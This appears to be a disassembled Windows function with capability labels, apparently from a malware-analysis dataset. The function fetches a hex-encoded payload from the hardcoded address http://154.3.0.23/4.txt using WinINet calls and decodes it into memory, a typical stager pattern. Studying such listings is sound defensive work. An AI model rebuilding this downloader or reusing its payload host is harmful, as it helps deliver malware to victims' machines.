Function at 0x1400011c0
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r12, rdx
xor esi, esi
mov dword [rbp + 7], esi
mov dword [rbp + 0xf], esi
mov dword [rbp + 0x13], 4
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
mov qword [rbp - 1], rax
test rax, rax
jne 0x140001267
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpen_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x14000166d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__154.3.0.23_4.txt
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp - 9], rax
test rax, rax
jne 0x1400012d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenUrlA_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x14000166d
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x13]
lea r8, [rbp + 7]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
xorps xmm0, xmm0
mov r8d, dword [rbp + 7]
lea eax, [r8 + 1]
mov edi, eax
movdqu xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov rbx, rsi
test eax, eax
je 0x140001378
cmp rdi, 0x1000
jb 0x140001347
lea rcx, [rax + 0x27]
cmp rcx, rdi
jbe 0x1400016a6
call fcn.140001c90
test rax, rax
je 0x140001658
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001352
mov rcx, rdi
call fcn.140001c90
mov rbx, rax
mov r13, rbx
mov qword [rbp + 0x17], rbx
lea r14, [rbx + rdi]
mov qword [rbp + 0x27], r14
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x1f], r14
mov r8d, dword [rbp + 7]
jmp 0x14000137c
mov r13, qword [rbp + 0x17]
lea r9, [rbp + 0xb]
mov rdx, rbx
mov rcx, qword [rbp - 9]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400013cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetReadFile_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001611
mov eax, dword [rbp + 0xb]
test eax, eax
je 0x140001611
mov byte [rax + r13], 0
mov edi, dword [rbp + 0xb]
shr rdi, 1
mov r14, qword [r12 + 8]
mov rdx, qword [r12]
mov rcx, r14
sub rcx, rdx
cmp rdi, rcx
jae 0x1400013fc
lea rax, [rdi + rdx]
jmp 0x14000142c
jbe 0x140001431
mov rax, qword [r12 + 0x10]
sub rax, rdx
cmp rdi, rax
jbe 0x140001418
mov rdx, rdi
mov rcx, r12
call fcn.140001b00
jmp 0x140001431
sub rdi, rcx
mov r8, rdi
xor edx, edx
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
lea rax, [r14 + rdi]
mov qword [r12 + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rbx + rdi], 0
jne 0x140001440
movabs r15, 0x7fffffffffffffff
cmp rdi, r15
ja 0x14000169a
cmp rdi, 0x10
jae 0x140001493
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], 0xf
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp - 0x29]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x29], 0
mov r15, qword [rbp - 0x11]
mov rdi, qword [rbp - 0x19]
mov r14, qword [rbp - 0x29]
jmp 0x140001528
mov rax, rdi
or rax, 0xf
cmp rax, r15
jbe 0x1400014cc
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001c90
test rax, rax
je 0x140001602
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001509
mov r15, rax
mov ecx, 0x16
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400014f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400016a0
jmp 0x1400014ad
test rcx, rcx
je 0x140001506
call fcn.140001c90
mov r14, rax
jmp 0x140001509
mov r14, rsi
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], r15
mov r8, rdi
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rdi], 0
mov r9, qword [r12]
test rdi, rdi
je 0x1400015d7
mov r8, rsi
cmp r15, 0x10
setae r10b
lea rax, [rbp - 0x29]
cmp r15, 0x10
cmovae rax, r14
movzx ecx, byte [r8 + rax]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14000155d
sub cl, 0x30
jmp 0x140001577
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x140001569
sub cl, 0x57
jmp 0x140001577
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001575
sub cl, 0x37
jmp 0x140001577
xor cl, cl
lea rax, [rbp - 0x29]
test r10b, r10b
cmovne rax, r14
movzx edx, byte [r8 + rax + 1]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x140001594
sub dl, 0x30
jmp 0x1400015ae
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x1400015a0
sub dl, 0x57
jmp 0x1400015ae
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x1400015ac
sub dl, 0x37
jmp 0x1400015ae
xor dl, dl
shl cl, 4
add cl, dl
mov eax, esi
test esi, esi
jns 0x1400015bc
lea eax, [rsi + 1]
sar eax, 1
cdqe
mov byte [rax + r9], cl
add esi, 2
add r8, 2
movsxd rax, esi
cmp rax, rdi
jb 0x140001540
cmp r15, 0x10
jb 0x140001611
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001609
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001609
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140001ccc
mov rcx, qword [rbp - 9]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 1]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [rbp + 0xb]
shr rbx, 1
test r13, r13
je 0x14000166a
mov rcx, qword [rbp + 0x27]
sub rcx, r13
mov rax, r13
cmp rcx, 0x1000
jb 0x14000165f
add rcx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000165f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rcx
mov rcx, r13
call fcn.140001ccc
mov rax, rbx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140001c70
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
int3